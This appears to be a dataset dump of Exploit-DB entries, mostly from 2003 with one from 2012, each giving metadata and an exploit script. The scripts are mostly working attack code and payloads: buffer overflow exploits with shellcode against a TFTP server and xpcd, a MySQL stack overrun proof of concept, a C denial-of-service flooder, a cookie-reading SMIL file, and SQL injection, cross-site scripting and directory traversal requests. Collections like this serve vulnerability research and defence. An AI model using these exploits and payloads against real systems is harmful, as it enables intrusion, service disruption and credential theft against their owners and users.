QLWD/code_shield huggingface dataset:
标题: MySQL (Linux) - Stack Buffer Overrun (PoC) EDB-ID: 23075 CVE: 2012-5611 类型: DOS 平台: LINUX 发布日期: 2012-12-02 漏洞利用脚本: #!/usr/bin/perl
=for comment

 MySQL Server exploitable stack based overrun
 Ver 5.5.19-log for Linux and below (tested with Ver 5.1.53-log for suse-linux-gnu too)
 unprivileged user (any account (anonymous account?), post auth)
 as illustrated below the instruction pointer is overwritten with 0x41414141
 bug found by Kingcope
 this will yield a shell as the user 'mysql' when properly exploited
 
mysql@linux-lsd2:/root> gdb -c /var/lib/mysql/core
GNU gdb (GDB) SUSE (7.2-3.3)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-suse-linux".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Missing separate debuginfo for the main executable file
Try: zypper install -C "debuginfo(build-id)=768fdbea8f1bf1f7cfb34c7f532f7dd0bdd76803"
[New Thread 8801]
[New Thread 8789]
[New Thread 8793]
[New Thread 8791]
[New Thread 8787]
[New Thread 8790]
[New Thread 8799]
[New Thread 8794]
[New Thread 8792]
[New Thread 8788]
[New Thread 8800]
[New Thread 8786]
[New Thread 8797]
[New Thread 8798]
[New Thread 8785]
[New Thread 8796]
[New Thread 8783]
Core was generated by `/usr/local/mysql/bin/mysqld --log=/tmp/mysqld.log'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)
=cut

  use strict;
  use DBI();

  # Connect to the database.
  my $dbh = DBI->connect("DBI:mysql:database=test;host=192.168.2.3;",
                         "user", "secret",
                         {'RaiseError' => 1});

  $a ="A" x 100000;
  my $sth = $dbh->prepare("grant file on $a.* to 'user'\@'%' identified by 'secret';");
  $sth->execute();
  
  # Disconnect from the database.
  $dbh->disconnect(); URL: https://www.exploit-db.com/exploits/23075
标题: Attila PHP 3.0 - SQL Injection Unauthorized Privileged Access EDB-ID: 23064 CVE: 2003-0752 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/8502/info

An SQL injection vulnerability has been reported in Attila PHP that could allow an attacker to gain unauthorized privileged access to a target site. This could be accomplished by requesting a URI including parameters designed to influence the results of specific user verification checks. Privileged access to a site implementing Attila PHP could allow an attacker to gain sensitive information or launch other attacks. 

Set the URI parameter "cook_id" to the value "0 OR visiteur=1" in a request to
http://www.example.org/index.php3 URL: https://www.exploit-db.com/exploits/23064
标题: eNdonesia 8.2/8.3 - 'Mod' Cross-Site Scripting EDB-ID: 23067 CVE: 2003-1317 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/8506/info

It has been reported that eNdonesia is prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a victim's browser. The issue reportedly exists in the mod.php script via the 'mod' URI parameter.

Successful exploitation may allow an attacker to steal cookie-based credentials from a user. Other attacks are possible as well. 

Version 8.2:
http://www.example.com/mod.php?mod=<evil_code>

Version 8.3:
http://www.example.com/mod.php?mod=%3Ch1%3Etest-nih-publisher&op=viewcat&cid=dudul URL: https://www.exploit-db.com/exploits/23067
标题: SAP Internet Transaction Server 4620.2.0.323011 Build 46B.323011 - Information Disclosure EDB-ID: 23069 CVE: 2003-0747 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/8515/info

A vulnerability has been discovered in SAP Internet Transaction Server (SITS)that could allow an attacker to obtain sensitive information. The problem occurs due to SITS disclosing sensitive local filesystem information when handling malformed requests. Specifically, an attacker who submits a request containing invalid values will receive an error response message in return. This response may contain sensitive information. 

http://www.server.name/scripts/wgate/pbw2/!?

with params:
~runtimemode=DM&
~language=en&
~theme=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx& URL: https://www.exploit-db.com/exploits/23069
标题: Tellurian TftpdNT 1.8/2.0 - 'Filename' Buffer Overrun EDB-ID: 23066 CVE: 2003-0729 类型: REMOTE 平台: WINDOWS 发布日期: 2003-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/8505/info

A vulnerability has been discovered in Tellurian TftpdNT that could allow a remote attacker to execute arbitrary code. The problem likely occurs due to insufficient bounds checking when handling user-supplied filenames. As a result, it may be possible for an attacker to corrupt internal process memory, ultimately allowing for the execution flow of the program to be controlled.

This vulnerability is said to affect Tullerian TftpdNT 2.0 and earlier. 

 #!/usr/bin/perl -w
 #Tellurian TFTP Server buffer overflow vulnerability

 use IO::Socket;
 $host = "192.168.1.44";
 $port = "69";

 $shellcode = "\x90\xCC\x90\x90\x90\x90\x8B\xEC\x55\x8B\xEC\x33\
 \xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\
 \xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\
 \x45\xFE\x65\xB8\xC3\xAF\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x5F";

 $buf = "\x00\x02";
 $buf .= "\x41"x(508-length($shellcode));
 $buf .= $shellcode;
 $buf .= "\x0F\x02\xC7"; # EIP
 $buf .= "\x00\x6E\x65\x74\x61\x73\x63\x69\x69\x00";

 print "Length: ", length($buf), "\n";

 $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
 $@\n";
 $ipaddr = inet_aton($host) || $host;
 $portaddr = sockaddr_in($port, $ipaddr);
 send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
 print "Done\n"; URL: https://www.exploit-db.com/exploits/23066
标题: sap internet transaction server 4620.2.0.323011 build 46b.323011 - Directory Traversal EDB-ID: 23070 CVE: 2003-0748 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/8516/info

SAP is said to be prone to a directory traversal vulnerability, potentially allowing users to disclose the contents of sensitive files. The problem occurs due to the application failing to parse user-supplied input for directory traversal sequences (../) and due to correct bounds checking verification, making it possible to bypass the appending of the .html exentsion to requested files. As a result, it may be possible to access sensitive files residing outside of the requested location.

http://www.server.name/scripts/wgate/pbw2/!?

with params:
~language=en&
~runtimemode=DM&
~templatelanguage=&
~language=en&
~theme=..\..&
~template=services\global.srvc+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

(where "+" stands for spaces "%20" uri encoded). URL: https://www.exploit-db.com/exploits/23070
标题: SAP Internet Transaction Server 4620.2.0.323011 Build 46B.323011 - Cross-Site Scripting EDB-ID: 23071 CVE: 2003-0749 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/8517/info

The 'wgate.dll' componenet of SAP Internet Transaction Server has been reported prone to cross-site scripting attacks. The issue occurs due to a lack of sufficient sanitization performed on data supplied to the 'wgate.dll' library. Exploitation could allow theft of cookie-based authentication credentials or other attacks 

http://www.server.name/scripts/wgate.dll?

with params:
~service=--><img%09src=javascript:alert(1)%3bcrap URL: https://www.exploit-db.com/exploits/23071
标题: Avant Browser 8.0.2 - 'HTTP Request' Buffer Overflow (PoC) EDB-ID: 23050 CVE: 2003-1321 类型: DOS 平台: MULTIPLE 发布日期: 2003-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/8471/info

It has been reported that a buffer overflow condition exists in the Avant Browser software that may cause an attacker to run arbitrary code on a vulnerable host in order to gain unauthorized access to the system. The vulnerability is due to a lack of boundary condition checks on URL values.

This issue may cause an attack to run arbitrary code on a host in the context of the user running the vulnerable version of Avant Browser.

http://AAAAAAA[more 780 chars]
<a href="http://AAA[more 780 chars]">aaa</a> URL: https://www.exploit-db.com/exploits/23050
标题: OptiSoft Blubster 2.5 - Remote Denial of Service EDB-ID: 23056 CVE: 2003-0760 类型: DOS 平台: WINDOWS 发布日期: 2003-08-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8482/info

t has been reported that Blubster is prone to a remote denial of service vulnerability due to a port flooding attack on TCP port 701. The problem is reported to present itself when a remote attacker floods port 701 with voice chat session requests. This issue may cause the software to crash resulting in a denial of service to legitimate users.

This attack may not be logged, therefore allowing an attack to exploit this issue persistently. 

/******************************************************************
* Blubster client v2.5 Remote Denial of Service *
* Proof of Concept by Luca Ercoli luca.ercoli[at]inwind.it *
******************************************************************/
 
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
 

int ck,port=701,sd,cx=0,contatore=0,prec;
 
struct sockaddr_in blubster_client;
 
 
 
void ending(char *client){
 
int i;
 

blubster_client.sin_family = AF_INET;
blubster_client.sin_port = htons((u_short)port);
blubster_client.sin_addr.s_addr = (long)inet_addr(client);
 

for(i = 0; i < 100; i++){
 
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &blubster_client, sizeof(blubster_client)); 
 

if(ck != 0) { 
 
prec = 0;
 
if (prec == 0) contatore++;
if (prec == 1) contatore = 0;
 
if (contatore > 13) {
printf("! Remote client seems to be crashed.\n");
exit(0);
}
 
}
 
if(ck == 0) prec = 1;
 
  close(sd);
}
 
}
 
 
 

void kill_blubster(char *stringa){
 
short i;
 
  blubster_client.sin_family = AF_INET;
  blubster_client.sin_port = htons((u_short)port);
  blubster_client.sin_addr.s_addr = (long)inet_addr(stringa);
   
 
for(i = 0; i < 50; i++){
 
  
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &blubster_client, sizeof(blubster_client)); 
 

if(ck != 0) exit(0);
 
close(sd);
 
}
 
}
 
 
 

int main(int argc, char **argv)
{
 
short i;
 
 prec = 0;
 
  if(argc < 2)
  { 
    printf("\nUsage: %s <client-ip>\n", argv[0]);
    exit(0);
  }
  
 
prec=0;
 
printf ("\n\n+ DoS Started...\n");
printf("+ Flooding remote client...\n");
 

for (i=0; i<12; i++) if(!fork()) kill_blubster(argv[1]);
 
printf ("+ Ending...\n");
 
ending(argv[1]);
  
} URL: https://www.exploit-db.com/exploits/23056
标题: RealOne Player 1.0/2.0/6.0.10/6.0.11 - '.SMIL' File Script Execution EDB-ID: 23043 CVE: 2003-0726 类型: REMOTE 平台: WINDOWS 发布日期: 2003-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/8453/info

Real Networks has reported a vulnerability in RealOne Player. Script embedded in SMIL presentations may be executed in the context of a domain that is specified by an attacker. This could allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability could also be exploited to execute script code in the context of the My Computer Zone, which could lead to installation and execution of malicious code on the client systems. This has been demonstrated with a newly reported vulnerability that is a variant of this issue (BID 9378), making it possible to exploit this issue to the same ends as the new vulnerability.

This issue is believed to affect RealOne Player for Microsoft Windows operating systems.


We have created a SMIL file that will read the cookie from
https://order.real.com/pt/order.html. The cookie will be read 9 seconds
after the audio has begun.

Source Code:
<smil xmlns="http://www.w3.org/2001/SMIL20/Language"
xmlns:rn="http://features.real.com/2001/SMIL20/Extensions">
<head>
<meta name="title" content="DigitalPranksters.com Proof of Concept"/>
<meta name="author" content="DigitalPranksters.com"/>
<meta name="copyright" content="(c)2003 DigitalPranksters.com"/>
</head>
<body>
<audio
src="http://radio.real.com/RGX/def.def...RGX/www.smgradio.com/core/audio/real/live.ram?service=vr">
<area href="https://order.real.com/pt/order.html" begin="1s"
external="true" actuate="onLoad" sourcePlaystate="play"
rn:sendTo="_rpcontextwin">
<rn:param name="width" value="10"/>
<rn:param name="height" value="10"/>
</area>
<area href="javascript:alert('Hi there! I\'m a digital prankster. I
just read your cookie from ' + document.domain + ' over the ' +
location.protocol + '// protocol.\n\nThe value was:\n' + document.cookie +
'\n\nHave a nice day.')" begin="9s" external="true" actuate="onLoad"
sourcePlaystate="play" rn:sendTo="_rpcontextwin"/>
</audio>
</body>
</smil> URL: https://www.exploit-db.com/exploits/23043
标题: PHP Website 0.7.3/0.8.2/0.8.3/0.9.2 Calendar Module - SQL Injection EDB-ID: 23013 CVE: 2003-0735 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/8390/info

Multiple SQL injection vulnerabilities have been reported in PHP Website. These issue may be exploited by sending a malicious request to the calendar script. Possible consequencs of exploitation include compromise of the site and disclosure of sensitive information.

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=day&year=2003%00-1&month=

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=month&month=11&year=2003%20and%20startDate%20%3c%3d%2020071205%29%20or%
20%28%20endDate%20%3e%3d031101%20and%20endDate%20%3c%3d%2020071205%29%
29%20and%20active%3d1 URL: https://www.exploit-db.com/exploits/23013
标题: PHPOutsourcing Zorum 3.4 - Full Path Disclosure EDB-ID: 23018 CVE: 2003-1089 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/8396/info

A vulnerability has been reported in Zorum message board software that allows a remote attacker to send a malformed HTTP request resulting in a disclosure of the installation path.

This issue may allow an attacker to gain knowledge of the file system in order to mount further attacks against the host.

http://www.example.com/forum/index.php?method=userfunctions&'list=secmenu& URL: https://www.exploit-db.com/exploits/23018
标题: phpWebSite 0.7.3/0.8.2/0.8.3/0.9.2 pagemaster Module - 'PAGE_id' Cross-Site Scripting EDB-ID: 23016 CVE: 2003-0736 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/8393/info
 
PHP Website is a web site content management system that allows for easy maintainance and administration of interactive community-driven websites.
 
Cross-site vulnerabilities have been reported in the Calendar, PageMaster, Search and Fatcat modules that allow an attacker to create a link containing malicious script code that may be rendered in a user's browser when the link is followed.
 
This would occur in the security context of the site running PHP Website.

http://www.example.com/[PATH]/index.php?
module=pagemaster&PAGE_user_op=view_page&PAGE_id=10">[XSS ATTACK CODE]
&MMN_position=[X:X] URL: https://www.exploit-db.com/exploits/23016
标题: phpWebSite 0.7.3/0.8.2/0.8.3/0.9.2 fatcat Module - 'fatcat_id' Cross-Site Scripting EDB-ID: 23015 CVE: 2003-0736 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/8393/info
 
PHP Website is a web site content management system that allows for easy maintainance and administration of interactive community-driven websites.
 
Cross-site vulnerabilities have been reported in the Calendar, PageMaster, Search and Fatcat modules that allow an attacker to create a link containing malicious script code that may be rendered in a user's browser when the link is followed.
 
This would occur in the security context of the site running PHP Website.

http://www.example.com/[PATH]/index.php?module=fatcat&fatcat[user]
=viewCategory&fatcat_id=1%00+">[XSS ATTACK CODE] URL: https://www.exploit-db.com/exploits/23015
标题: phpWebSite 0.7.3/0.8.2/0.8.3/0.9.2 earch Module - 'PDA_limit' Cross-Site Scripting EDB-ID: 23017 CVE: 2003-0736 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/8393/info
  
PHP Website is a web site content management system that allows for easy maintainance and administration of interactive community-driven websites.
  
Cross-site vulnerabilities have been reported in the Calendar, PageMaster, Search and Fatcat modules that allow an attacker to create a link containing malicious script code that may be rendered in a user's browser when the link is followed.
  
This would occur in the security context of the site running PHP Website.


http://www.example.com/[PATH]/index.php?
module=search&SEA_search_op=continue&PDA_limit=10">[XSS ATTACK CODE] URL: https://www.exploit-db.com/exploits/23017
标题: PHPOutSourcing Zorum 3.x - Cross-Site Scripting EDB-ID: 23011 CVE: 2003-1088 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/8388/info

A cross-site scripting vulnerability has been reported in the index.php script of PHPOutSourcing Zorum. Because of this, an attacker may be able to execute HTML and script code in the browsers of target users in the security context of the site hosting the vulnerable script.

http://www.example.com/pathofzorum/index.php?method=<script>alert('test')
</script> URL: https://www.exploit-db.com/exploits/23011
标题: phpWebSite 0.7.3/0.8.2/0.8.3/0.9.2 Calendar Module - 'day' Cross-Site Scripting EDB-ID: 23014 CVE: 2003-0736 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/8393/info

PHP Website is a web site content management system that allows for easy maintainance and administration of interactive community-driven websites.

Cross-site vulnerabilities have been reported in the Calendar, PageMaster, Search and Fatcat modules that allow an attacker to create a link containing malicious script code that may be rendered in a user's browser when the link is followed.

This would occur in the security context of the site running PHP Website.

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=day&month=2&year=2003&day=1+%00">[XSS ATTACK CODE] URL: https://www.exploit-db.com/exploits/23014
标题: PostNuke 0.6/0.7 Downloads Module - TTitle Cross-Site Scripting EDB-ID: 22997 CVE: 2004-1957 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/8374/info

It has been reported that a cross site scripting vulnerability exists in the Downlaods and Web_Links modules of PostNuke. It is possible that an attacker may construct a link containing malicious script code that could be executed in a browser of a user who visits the link.

Exploitation could allow theft of authentication cookies.

http://www.example.com/[PATH]/modules.php?
op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=[ID]
&ttitle=[Yeye XSS ;-)]"%3e[XSS ATTACK] URL: https://www.exploit-db.com/exploits/22997
标题: XPCD 2.0.8 - 'HOME Environment' Local Buffer Overflow EDB-ID: 22996 CVE: 2003-0649 类型: LOCAL 平台: LINUX 发布日期: 2003-07-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8370/info

A problem in the handling of long strings in environment variables by xpcd may result in a buffer overflow condition. This may allow an attacker to gain unauthorized access to system resources.

/**************************************************************************** 
 * xpcd 2.0.8 [latest] exploit written by r-code [Elite FXP Team] * 
 * * 
 * Actually xpcd usually isn`t suid, therefore for most of you * 
 * this exploit will be useless, on the other hand, maybe on some * 
 * conditions someone sets +S (who knows... ;-) * 
 * * 
 * Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher * 
 * Flames to: ElSiLaSoF - fucking kiddie.. * 
  
****************************************************************************/ 


#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 


unsigned long int get_sp(void) { 
  __asm__("movl %esp,%eax"); 
} 


char shellcode[] = 


"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x60\x80\x36" 
"\x01\x46\xe2\xfa\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01" 
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\x83\x10" 
"\x01\x01\xc6\x44\xfd\x01\x01\x01\x01\x8c\xba\x63\xef\xfe\xfe\x88\x7c\xf9\xb9" 
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01" 
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\xc8\xc2\x8c\x77\x01" 
"\x91\x91\x91\x91"; 



#define LEN 280 
#define DEFAULT_OFFSET 530 
#define PATH "/usr/local/bin/xpcd" 


int main(int argc,char **argv) { 
  register int i; 
  char *evilstr=0,*str=0,*e=0; 
  unsigned long int retaddr=0,offset=DEFAULT_OFFSET,*ptr=0; 
   
  printf("[=] xpcd0x01 exploit written by r-code d_fence(at)gmx(dot)net 
[ELITE FXP TEAM]\n"); 
  printf("[=] Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, 
Cypher\n"); 
  printf("[=] Flames to: ElSiLaSoF - fucking kiddie.\n\n"); 
   
   
  if(argc>1) 
    offset=atoi(argv[1]); 
   
  retaddr=get_sp() - offset; 
   
  printf("iNFO:) esp: 0x%x offset: 0x%x ret_addr: 
0x%x\n",get_sp(),offset,retaddr); 
  printf("iNFO:) If Doesn`t work, try with OFFSETS 400 - 600\n\n"); 
   
  evilstr=(char *)malloc(LEN); 
  e=(char *)malloc(LEN+10); 
  ptr=(unsigned long int *)evilstr; 
   
  for(i=0;i<(LEN);) { 
    evilstr[i++] = (retaddr & 0x000000ff); 
    evilstr[i++] = (retaddr & 0x0000ff00) >> 8; 
    evilstr[i++] = (retaddr & 0x00ff0000) >> 16; 
    evilstr[i++] = (retaddr & 0xff000000) >> 24; 
  } 
   
  memset(evilstr,'A',(LEN/2)); 
   
  for(i=0;i<strlen(shellcode);i++) 
    evilstr[(LEN/2)-(strlen(shellcode)/2)+i]=shellcode[i]; 
   
  evilstr[LEN]=0x00; 
  memcpy(e,"HOME=",5); 
  memcpy(e+5,evilstr,LEN); 
  putenv(e); 
  execl(PATH,"xpcd",NULL); 
   
} URL: https://www.exploit-db.com/exploits/22996
标题: vBulletin 3.0 - 'register.php' HTML Injection EDB-ID: 22990 CVE: 2003-1031 类型: WEBAPPS 平台: PHP 发布日期: 2003-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/8354/info

vBulletin may be prone to an HTML injection vulnerability. This issue is exposed through inadequate sanitization of user input for certain fields within the register.php script. An attacker may exploit this issue by including hostile HTML and script code in fields that may be displayed in posts to the message board, or the user's profile. This code may be rendered in the web browser of a user who views the malicious message.

[form action="http://[victim]/register.php?do=register" method="post"
style="display:none"]
[input type="hidden" name="s" value="" /]
[input type="hidden" name="regtype" value="1" /]
[input type="text" class="bginput" name="field1" value="" size="25"
maxlength="250" /]
[input type="hidden" name="url" value="index.php" /]
[input type="hidden" name="do" value="addmember" /] 
[/form]
[script]
//Code that will be executed
var xss = "\"][script]alert(document"+".cookie)[\/script]";
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]

*Replace ([],<>) URL: https://www.exploit-db.com/exploits/22990